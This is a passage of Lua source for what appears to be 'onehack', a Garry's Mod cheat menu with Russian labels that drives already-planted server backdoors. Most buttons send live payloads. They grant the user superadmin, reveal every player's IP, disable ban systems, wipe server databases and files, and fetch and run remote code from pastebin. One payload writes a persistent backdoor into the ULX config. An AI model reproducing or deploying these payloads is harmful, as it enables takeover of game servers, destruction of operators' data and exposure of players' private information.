672 onehack.backlistt_players_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar():GetWide(), onehack.backlistt_players_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
673 onehack.backlistt_players_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnUp:GetWide(), onehack.backlistt_players_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
674 onehack.backlistt_players_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnDown:GetWide(), onehack.backlistt_players_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
675 onehack.backlistt_players_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_players_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_players_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
676
677 onehack.player_button_prev = vgui.Create( "DButton", onehackdooropt )
678 onehack.player_button_prev:SetText( "" )
679 onehack.player_button_prev:SetPos(5,95)
680 onehack.player_button_prev:SetSize(150,20)
681 function onehack.player_button_prev:Paint( w,h )
682 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
683 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt)
684 draw.SimpleText("Player list","DermaDefault",w/2,h/2,Color(130,130,130),1,1)
685 end
686
687 onehack.player_button_all = onehack.backlistt_players_list:Add( "DButton" )
688 onehack.player_button_all:SetText( "" )
689 onehack.player_button_all:Dock( TOP )
690 onehack.player_button_all:DockMargin( 0, 0, 0, 0 )
691 function onehack.player_button_all:Paint( w,h )
692 if onehack.player_button_all:IsHovered() then
693 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
694 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
695 else
696 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
697 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
698 end
699 if onehack.selected_player == 0 then
700 draw.SimpleText("> All player's <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
701 else
702 draw.SimpleText("All player's","DermaDefault",w/2,h/2,Color(255,255,255),1,1)
703 end
704 end
705 function onehack.player_button_all:DoClick()
706 onehack.selected_player = 0
707 end
708
709 for k,v in pairs(player.GetAll()) do
710 local onehack_player_button = onehack.backlistt_players_list:Add( "DButton" )
711 onehack_player_button:SetText( "" )
712 onehack_player_button:Dock( TOP )
713 onehack_player_button:DockMargin( 0, 0, 0, 0 )
714 onehack_player_button.Paint = function( _, w, h )
715 if onehack_player_button:IsHovered() then
716 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
717 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt3)
718 else
719 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
720 draw.RoundedBox(0,1,0,w-2,h-1,onehack.theme.backgroundalt)
721 end
722 if onehack.selected_player == v then
723 draw.SimpleText("> "..v:Name().." <","DermaDefault",w/2,h/2,onehack.theme.chroma,1,1)
724 else
725 draw.SimpleText(v:Name(),"DermaDefault",w/2,h/2,Color(255,255,255),1,1)
726 end
727 end
728 function onehack_player_button:DoClick()
729 onehack.selected_player = v
730 end
731 end
732
733 onehack.backlistt_functions = vgui.Create( "DPanel", onehackdooropt )
734 onehack.backlistt_functions:SetPos(160,65)
735 onehack.backlistt_functions:SetSize(301,313)
736 function onehack.backlistt_functions:Paint( w,h )
737 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
738 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
739 end
740
741 onehack.backlistt_functionsss_list = vgui.Create( "DScrollPanel", onehack.backlistt_functions )
742 onehack.backlistt_functionsss_list:Dock(FILL)
743 function onehack.backlistt_functionsss_list:Paint( w,h )
744 draw.RoundedBox(0,0,0,w,h,onehack.theme.backgroundalt2)
745 draw.RoundedBox(0,1,1,w-2,h-2,onehack.theme.backgroundalt3)
746 end
747 onehack.backlistt_functionsss_list.VBar:SetWidth(1)
748 onehack.backlistt_functionsss_list:GetVBar().Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar():GetWide(), onehack.backlistt_functionsss_list:GetVBar():GetTall(), Color(255, 255, 255, 0)) end
749 onehack.backlistt_functionsss_list:GetVBar().btnUp.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnUp:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnUp:GetTall(), Color(0,0,0,0)) end
750 onehack.backlistt_functionsss_list:GetVBar().btnDown.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnDown:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnDown:GetTall(), Color(0,0,0,0)) end
751 onehack.backlistt_functionsss_list:GetVBar().btnGrip.Paint = function() draw.RoundedBox(0, 0, 0, onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetWide(), onehack.backlistt_functionsss_list:GetVBar().btnGrip:GetTall(), onehack.theme.chroma) end
752
753 onehack.AddFunction("Поменять всем имя", "textfield_rename", buttlistback, function()
754 onehack.NetStart( onehack.selectedbackdoor )
755 net.WriteString( "for k, v in pairs(player.GetAll()) do v:ConCommand(\"say /name Супер Гром!\"); end" )
756 net.WriteBit(1)
757 onehack.SendToServak()
758 end)
759
760 onehack.AddFunction("Убить всех", "cut", buttlistback, function()
761 onehack.NetStart( onehack.selectedbackdoor )
762 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
763 net.WriteBit(1)
764 onehack.SendToServak()
765 end)
766
767 onehack.AddFunction("Танцы", "cut", buttlistback, function()
768 onehack.NetStart( onehack.selectedbackdoor )
769 net.WriteString( [[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("dance_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
770 ]] )
771 net.WriteBit(1)
772 onehack.SendToServak()
773 end)
774
775 onehack.AddFunction("Подкинуть всех", "arrow_up", buttlistback, function()
776 onehack.NetStart( onehack.selectedbackdoor )
777 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
778 net.WriteBit(1)
779 onehack.SendToServak()
780 end)
781
782 onehack.AddFunction("Half-Life 2", "clock_play", buttlistback, function()
783 onehack.NetStart( onehack.selectedbackdoor )
784 net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
785 net.WriteBit(1)
786 onehack.SendToServak()
787 end)
788
789 onehack.AddFunction("Крутилика", "arrow_rotate_anticlockwise", buttlistback, function()
790 onehack.NetStart( onehack.selectedbackdoor )
791 onehack.NetWireString(
792 [[hook.Add( "Think", "#bone::manipulation#", function()
793 for k,v in pairs(player.GetAll()) do
794 local hands = v:LookupBone("ValveBiped.Bip01_R_Hand")
795
796 v:ManipulateBoneAngles( hands, Angle(0, 0, RealTime()*500) )
797 end
798 end )]])
799 net.WriteBit(1)
800 onehack.SendToServak()
801 end)
802
803 onehack.AddFunction("Забрать оружия у всех", "controller_delete", buttlistback, function()
804 onehack.NetStart( onehack.selectedbackdoor )
805 onehack.NetWireString([[for _, p in pairs(player.GetAll()) do if not ]]..LocalPlayer():UniqueID()..[[ then p:StripWeapons() end end]])
806 net.WriteBit(1)
807 onehack.SendToServak()
808 end)
809
810 onehack.AddFunction("Поджечь всех", "building", buttlistback, function()
811 onehack.NetStart( onehack.selectedbackdoor )
812 net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
813 net.WriteBit(1)
814 onehack.SendToServak()
815 end)
816
817 onehack.AddFunction("Выдать себе привилегию", "user_gray", buttlistback, function()
818 onehack.NetStart( onehack.selectedbackdoor )
819 net.WriteString( [[
820
821 local id = ]] .. LocalPlayer():UserID() .. [[
822
823 Player( id ):SetUserGroup( "superadmin" )
824
825 ]] )
826 net.WriteBit(1)
827 onehack.SendToServak()
828 end)
829
830 onehack.AddFunction("Камшейк", "emoticon_evilgrin", buttlistback, function()
831 onehack.NetStart( onehack.selectedbackdoor )
832 onehack.NetWireString("for k,v in pairs(player.GetAll()) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end")
833 net.WriteBit(1)
834 onehack.SendToServak()
835 end)
836
837 onehack.AddFunction("2D Модели", "font", buttlistback, function()
838 onehack.NetStart( onehack.selectedbackdoor )
839 onehack.NetWireString([[
840 for k,v in pairs(player.GetAll()) do
841 local a = v:LookupBone("ValveBiped.Bip01_Head1")
842 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
843 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
844 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
845 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
846 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
847 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
848 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
849 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
850 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
851 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
852
853 v:ManipulateBoneScale( a, Vector(4,0,4))
854 v:ManipulateBoneScale( b, Vector(0,0,0))
855 v:ManipulateBoneScale( c, Vector(0,0,0))
856 v:ManipulateBoneScale( d, Vector(0,0,1))
857 v:ManipulateBoneScale( e, Vector(0,0,1))
858 v:ManipulateBoneScale( f, Vector(0,0,0))
859 v:ManipulateBoneScale( g, Vector(0,0,0))
860 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
861 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
862 v:ManipulateBoneScale( j, Vector(0,0,0))
863 v:ManipulateBoneScale( k, Vector(0,0,0))
864 end]])
865 net.WriteBit(1)
866 onehack.SendToServak()
867 end)
868
869 onehack.AddFunction("Всех в гигантов", "control_eject", buttlistback, function()
870 onehack.NetStart( onehack.selectedbackdoor )
871 onehack.NetWireString([[
872 hook.Add("Think", "giant", function()
873 for k,v in pairs (player.GetAll()) do
874 v:SetModelScale(2.5, 100);
875 v:SetRunSpeed(400 * 2);
876 v:SetWalkSpeed(200 * 2);
877 end
878 end)]])
879 net.WriteBit(1)
880 onehack.SendToServak()
881 end)
882
883 onehack.AddFunction("Все любят меня :3", "comment", buttlistback, function()
884 onehack.NetStart( onehack.selectedbackdoor )
885 net.WriteString([[for k,p in pairs(player.GetAll()) do
886 p:ConCommand("say Я люблю Foer'a <3")
887 end
888 ]])
889 net.WriteBit(1)
890 net.SendToServer()
891 end)
892
893 onehack.AddFunction("Показать IP всех игроков", "chart_organisation", buttlistback, function()
894 onehack.NetStart( onehack.selectedbackdoor )
895 onehack.NetWireString([[
896
897 local id = ]] .. LocalPlayer():UserID() .. [[
898
899 for k, v in pairs( player.GetAll() ) do
900
901 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
902
903 end
904
905 ]])
906 net.WriteBit(1)
907 onehack.SendToServak()
908 end)
909
910 onehack.AddFunction("Сломать (ULX и FAdmin)", "brick_delete", buttlistback, function()
911 onehack.NetStart( onehack.selectedbackdoor )
912 onehack.NetWireString([[
913 ULib.Ban = function() return false end
914 _G.FAdmin = function() end
915 ULib.addBan = function() return end
916
917 ULib.kick = function() return end
918 ]])
919 net.WriteBit(1)
920 onehack.SendToServak()
921 end)
922
923 onehack.AddFunction("Дискотека", "group", buttlistback, function()
924 onehack.NetStart( onehack.selectedbackdoor )
925 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/ehNbAECD\",function(b,l,h,c)RunString(b)end,nil)")
926 net.WriteBit(1)
927 onehack.SendToServak()
928 end)
929
930 onehack.AddFunction("Пломбировать", "server_link", buttlistback, function()
931 onehack.NetStart( onehack.selectedbackdoor )
932 onehack.NetWireString("http.Fetch(\"https://pastebin.com/raw/z8TmzbFF\",function(b,l,h,c)RunString(b)end,nil)")
933 net.WriteBit(1)
934 onehack.SendToServak()
935 end)
936
937 onehack.AddFunction("Разбанить всех", "database_edit", buttlistback, function()
938 onehack.NetStart( onehack.selectedbackdoor )
939 net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
940 net.WriteBit(1)
941 onehack.SendToServak()
942 end)
943
944 onehack.AddFunction("Удалить все группы", "group_delete", buttlistback, function()
945 onehack.NetStart( onehack.selectedbackdoor )
946 net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
947 net.WriteBit(1)
948 onehack.SendToServak()
949 end)
950
951 onehack.AddFunction("Сбросить деньги", "money_delete", buttlistback, function()
952 onehack.NetStart( onehack.selectedbackdoor )
953 net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
954 net.WriteBit(1)
955 onehack.SendToServak()
956 end)
957
958 onehack.AddFunction("Очистить карту", "cut_red", buttlistback, function()
959 onehack.NetStart( onehack.selectedbackdoor )
960 onehack.NetWireString("for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end")
961 net.WriteBit(1)
962 onehack.SendToServak()
963 end)
964
965 onehack.AddFunction("Изменить имя сервера", "drive_rename", buttlistback, function()
966 onehack.NetStart( onehack.selectedbackdoor )
967 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"rcon\", \"hostname\", \"• Ħá¢ҝ ƀɤ ǺβÇŦųŋℯᶉ | Ñęţ:("..onehack.selectedbackdoor..")\")")
968 net.WriteBit(1)
969 onehack.SendToServak()
970 end)
971
972 onehack.AddFunction("Спам", "keyboard", buttlistback, function()
973 onehack.NetStart( onehack.selectedbackdoor )
974 onehack.NetWireString("timer.Create( \"sppspas\", 0.1, 0, function() print(\"Hack by ABCTuner | Do not steal! | Вы наказаны за воровство, кодеры тоже люди и хотят есть! Они зарабатывают на жизнь продавая свои замечательные аддоны!\"); BroadcastLua([[chat.AddText(Color(255,10,100), \"• Ħáсҝ ƀɤ ǺβÇŦųŋℯᶉ \",Color(255,255,255),\"| Do not steal! | Ñęţ: \",HSVToColor( CurTime() % 6 * 60, 1, 1 ),\""..onehack.selectedbackdoor.."\" )]]) end)")
975 net.WriteBit(1)
976 onehack.SendToServak()
977 end)
978
979 onehack.AddFunction("Отпереть все двери", "door_open", buttlistback, function()
980 onehack.NetStart( onehack.selectedbackdoor )
981 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
982 net.WriteBit(1)
983 onehack.SendToServak()
984 end)
985
986 onehack.AddFunction("Открыть все двери на карте", "door_open", buttlistback, function()
987 onehack.NetStart( onehack.selectedbackdoor )
988 onehack.NetWireString([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
989 net.WriteBit(1)
990 onehack.SendToServak()
991 end)
992
993 onehack.AddFunction("Очистить все данные", "folder_delete", buttlistback, function()
994 onehack.NetStart( onehack.selectedbackdoor )
995 onehack.NetWireString([[
996 local date = os.date( "%m-%d-%y" )
997 local databases = { "jobdata","darkrp_door","darkrp_levels","darkrp_prestige","darkrp_doorgroups","darkrp_doorjobs","darkrp_jobspawn","darkrp_position","darkrp_player","darkrp_dbversion","FAdmin_CAMIPrivileges","FADMIN_GROUPS","FAdmin_Immunity","FADMIN_MOTD","FAdmin_PlayerGroup","FADMIN_PRIVILEGES","FADMIN_RESTRICTEDENTS","FAdmin_ServerSettings","FAdminBans","FPP_ANTISPAM1","FPP_BLOCKED1","FPP_BLOCKMODELSETTINGS1","FPP_ENTITYDAMAGE1","FPP_GLOBALSETTINGS1","FPP_GRAVGUN1","FPP_GROUPMEMBERS1","FPP_GROUPS3","FPP_GROUPTOOL","FPP_PHYSGUN1","FPP_PLAYERUSE1","FPP_TOOLADMINONLY","FPP_TOOLGUN1","FPP_TOOLRESTRICTPERSON1","FPP_TOOLTEAMRESTRICT","FPP_BLOCKEDMODELS1","awarn_playerdata","awarn_serverdata","awarn_warnings","blogs_players_v3","blogs_v3","stt_date","stt_players","mlog_logs","mlog_permissions","atlaschat_players","atlaschat_ranks","atlaschat_remote","atlaschat_restrictions","OreBag","fcd_playerData","dailylogin","ChessLeaderboard","qsgr_data","voting_npcs","cac_incidents","steam_rewards","playerdata","playerinformation","utime","permaprops","cc_characters","cc_npcs","ckit_chips","ckit_persist","exsto_data_bans","exsto_data_ranks","exsto_data_users","exsto_data_variables","exsto_restriction","inventories","kinv_items","libk_player","permitems","player_gangapps","player_gangdata","player_gangs","ps2_categories","ps2_equipmentslot","ps2_HatPersistence","ps2_itemmapping","ps2_itempersistence","ps2_OutfitHatPersistenceMapping","ps2_outfits","ps2_playermodelpersistence","ps2_servers","ps2_settings","ps2_trailpersistence","ps2_wallet","removeprops","scoreboard_friends","serverguard_analytics","serverguard_bans","serverguard_pms","serverguard_ranks","serverguard_reports","serverguard_schema","serverguard_ttt_autoslays","serverguard_users","serverguard_watchlist","tttstats","ttt_passes_history","specdm_stats_new","ps2_achievements","ps2_boosterpersistence","ps2_cratepersistence","ps2_instatswitchweaponpersistence","ps2_keypersistence","ps2_rolecontrolpersistence","ps2_weaponpersistence","rapsheet","damagelog_autoslay","damagelog_names","damagelog_oldlogs","damagelog_weapons","kmapvote_mapinfo","kmapvote_ratings","mgang_gangs","mgang_players","deathrun_ids","deathrun_records","deathrun_stats","sui_ratings","shop_texthats","shop_money","shop_items","report_log" }
998 local datafiles = { "ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","wire_version.txt","UTeam.txt","prevhas.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","hitnumbers/settings.txt","soundlists/common_sounds.txt","vcmod/controls.txt","vcmod/dataserver.txt","qsgr_data/sqgr_settings.txt","blogs/configcache.txt","blogs/language.txt","cac/adminuipack.txt","ezjobs/config.txt","damagelog/colors.txt","damagelog/filters_new.txt","craphead_scripts/armory_robbery/rp_downtown_v4c/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v2/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_evilmelon_v1/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v3/policearmory_location.txt","craphead_scripts/armory_robbery/rp_downtown_v4c_v4/policearmory_location.txt","mg_gangsdata/mg_npcspawns.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","prevhash.txt","permaprops_config.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","vliss/settings/config.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
999 local sensitivefiles = { "ulx_logs/"..date..".txt","ulib/bans.txt","ulib/groups.txt","ulib/misc_registered.txt","ulib/users.txt","ulx/adverts.txt","ulx/apromote.txt","ulx/banmessage.txt","ulx/banreasons.txt","ulx/downloads.txt","ulx/gimps.txt","ulx/motd.txt","ulx/restrictions.txt","ulx/sbox_limits.txt","ulx/votemaps.txt","apg/settings.txt","atags/tags.txt","atags/rankchattags.txt","atags/playerchattags.txt","atags/tags.txt","atags/selectedtags.txt","atags/ranktags.txt","atags/playertags.txt","vcmod/settings_sv.txt","vcmod/config_sv_privilages.txt","cac/system_log_sv.txt","cac/serverworkshopinformation.txt","cac/settings.txt","cac/serverluainformation.txt","vcmod/controls.txt","vcmod/dataserver.txt","blogs/configcache.dat","blogs/language.txt","blogs/config_v5.txt","cac/adminuipack.txt","ulx/debugdump.txt","ulx/empty_teams.txt","chattags.txt","caseclaims.txt", "sammyservers_textscreens.txt","permaprops_permissions.txt","chattags.txt","permaprops_config.txt","whitelist.txt","zwhitelistjobdata/jobsetting.txt","zwhitelistjobdata/whitelistjob.txt","zmodserveroption/sysjobwhitelist.txt","nordahl_spawnpoint/rp_venator_v3.txt","nordahl_spawnpoint/rp_venator_v2.txt","nordahl_spawnpoint/rp_venator_v1.txt","nordahl_spawnpoint/rp_venator_gg.txt","nordahl_spawnpoint/rp_venator_ausv4.txt","nordahl_spawnpoint/rp_venator_v2_ffg.txt","planningevent/prehud.txt","planningoption/hourformat.txt","nordahl_spawnpoint/arena_byre.txt","nordahl_spawnpoint/rp_venator_v2_immersive.txt","nordahl_spawnpoint/rp_venator_fade_v3.txt","nordahl_spawnpoint/rp_venator_gr.txt","nordahl_spawnpoint/rp_tatoonie_dunsea_v1.txt","nordahl_spawnpoint/rp_scifi.txt","nordahl_spawnpoint/rishimoon_crimson.txt","nordahl_spawnpoint/rp_pripyat_hl2.txt","nordahl_spawnpoint/rp_onwardhope.txt", "nordahl_spawnpoint/rp_oldworld_fix.txt","nordahl_spawnpoint/sd_doomsday.txt","nordahl_spawnpoint/sd_doomsday_event.txt","nordahl_spawnpoint/rp_naboo_city_v1.txt","nordahl_spawnpoint/rp_noclyria_crimson.txt","nordahl_spawnpoint/rp_nar_shaddaa_v2.txt","nordahl_spawnpoint/rp_mos_mersic_v2.txt","nordahl_spawnpoint/rp_kashyyk_jungle_b2.txt","nordahl_spawnpoint/dust_dunes.txt","nordahl_spawnpoint/rp_cscdesert_v2-1_propfix.txt","nordahl_spawnpoint/rd_asteroid.txt","nordahl_spawnpoint/naboo.txt","nordahl_spawnpoint/kashyyyk.txt","nordahl_spawnpoint/geonosis.txt","nordahl_spawnpoint/fightspace3b.txt","nordahl_spawnpoint/endor.txt","nordahl_spawnpoint/toth_forgotten.txt"}
1000
1001 for k,v in pairs(databases) do
1002 if sql.TableExists(v) then
1003 sql.Query("DROP TABLE "..v.." ;")
1004 sql.Query("CREATE TABLE IF NOT EXISTS "..v.." ( steamid TEXT NOT NULL PRIMARY KEY, value TEXT );")
1005 end
1006 end
1007
1008 for k,v in pairs(datafiles) do
1009 if file.Exists(v) then
1010 file.Delete(v)
1011 file.write(v, "А вот нехуй было обманывать")
1012 end
1013 end
1014
1015 for k,v in pairs(sensitivefiles) do
1016 if file.Exists(v) then
1017 file.Delete(v)
1018 file.write(v, "А вот нехуй было обманывать")
1019 end
1020 end
1021 ]])
1022 net.WriteBit(1)
1023 onehack.SendToServak()
1024 end)
1025 --
1026 onehack.AddFunction("Iseeyou", "shield_go", buttlistback, function()
1027 http.Fetch( "http://pastebin.com/raw.php?i=Ps16AErr", RunString )
1028 onehack.NetStart( onehack.selectedbackdoor )
1029 onehack.NetWireString("http.Fetch( \"http://pastebin.com/raw.php?i=Ps16AErr\", RunString )")
1030 net.WriteBit(1)
1031 onehack.SendToServak()
1032 RunConsoleCommand("iseeyou")
1033 end)
1034 onehack.AddFunction("Всех в КПЗ", "shield_go", buttlistback, function()
1035 onehack.NetStart( onehack.selectedbackdoor )
1036 onehack.NetWireString("RunConsoleCommand(\"ulx\", \"jail\", \"*\")")
1037 net.WriteBit(1)
1038 onehack.SendToServak()
1039 end)
1040
1041 onehack.AddFunction("Инфекция", "chart_line_edit", buttlistback, function()
1042 onehack.NetStart( onehack.selectedbackdoor )
1043 onehack.NetWireString([[
1044 local config = ULib.fileRead( "data/ulx/config.txt" )
1045
1046 config = config.."\nulx logEcho 0"
1047
1048 config = config.."\nulx luarun util.AddNetworkString( 'ABCNet' ) net.Receive( 'ABCNet', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )"
1049
1050 config = config.."\nulx logEcho 1"
1051
1052 ULib.fileWrite( "data/ulx/config.txt", config )
1053
1054 ]])
1055 net.WriteBit(1)
1056 onehack.SendToServak()
1057 end)
1058
1059 onehack.AddFunction("Армагеддон", "bomb", buttlistback, function()
1060 onehack.NetStart( onehack.selectedbackdoor )
1061 onehack.NetWireString([[
1062 hook.Add("Think", "armageddon", function()
1063 local explode = ents.Create( "env_explosion" )
1064 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
1065 explode:Spawn()
1066 explode:SetKeyValue( "iMagnitude", "500" )
1067 explode:Fire( "Explode", 0, 0 )
1068 end)
1069 ]])
1070 net.WriteBit(1)
1071 onehack.SendToServak()
1072 end)
1073
1074 onehack.AddFunction("Изменить звуки шагов", "sound", buttlistback, function()
1075 onehack.NetStart( onehack.selectedbackdoor )
1076 onehack.NetWireString("hook.Add(\"PlayerFootstep\", \"porn\", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( \"vo/npc/female01/pain06.wav\",75,math.random( 50, 150 )) end )")
1077 net.WriteBit(1)
1078 onehack.SendToServak()
1079 end)
1080
1081 onehack.AddFunction("Сказать что серверу пизда", "sound", buttlistback, function()
1082 onehack.NetStart( onehack.selectedbackdoor )
1083 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://mamkaeb.000webhostapp.com/sound.mp3\", \"mono\", function()end )]])")
1084 net.WriteBit(1)
1085 net.SendToServer()
1086 end)
1087
1088 onehack.AddFunction("Музыка - Be Friend", "sound", buttlistback, function()
1089 onehack.NetStart( onehack.selectedbackdoor )
1090 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/BE%20FRIENDS.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Be Friend\")]])")
1091 net.WriteBit(1)
1092 net.SendToServer()
1093 end)
1094
1095 onehack.AddFunction("Музыка - Привет, это круто", "sound", buttlistback, function()
1096 onehack.NetStart( onehack.selectedbackdoor )
1097 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Salut%20Cest%20Cool.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Привет это круто\")]])")
1098 net.WriteBit(1)
1099 net.SendToServer()
1100 end)
1101
1102 onehack.AddFunction("Музыка - Somewhere over", "sound", buttlistback, function()
1103 onehack.NetStart( onehack.selectedbackdoor )
1104 net.WriteString("BroadcastLua([[sound.PlayURL( \"https://loadingscrren.000webhostapp.com/Somewhere%20over.mp3\", \"mono\", function()end ); chat.AddText(Color(255,255,255),\"Сейчас играет: \",Color(100,255,100),\"Somehere over\")]])")
1105 net.WriteBit(1)
1106 net.SendToServer()
1107 end)
1108
1109 onehack.AddFunction("Музыка - Петушиный вой", "sound", buttlistback, function()
1110 onehack.NetStart( onehack.selectedbackdoor )
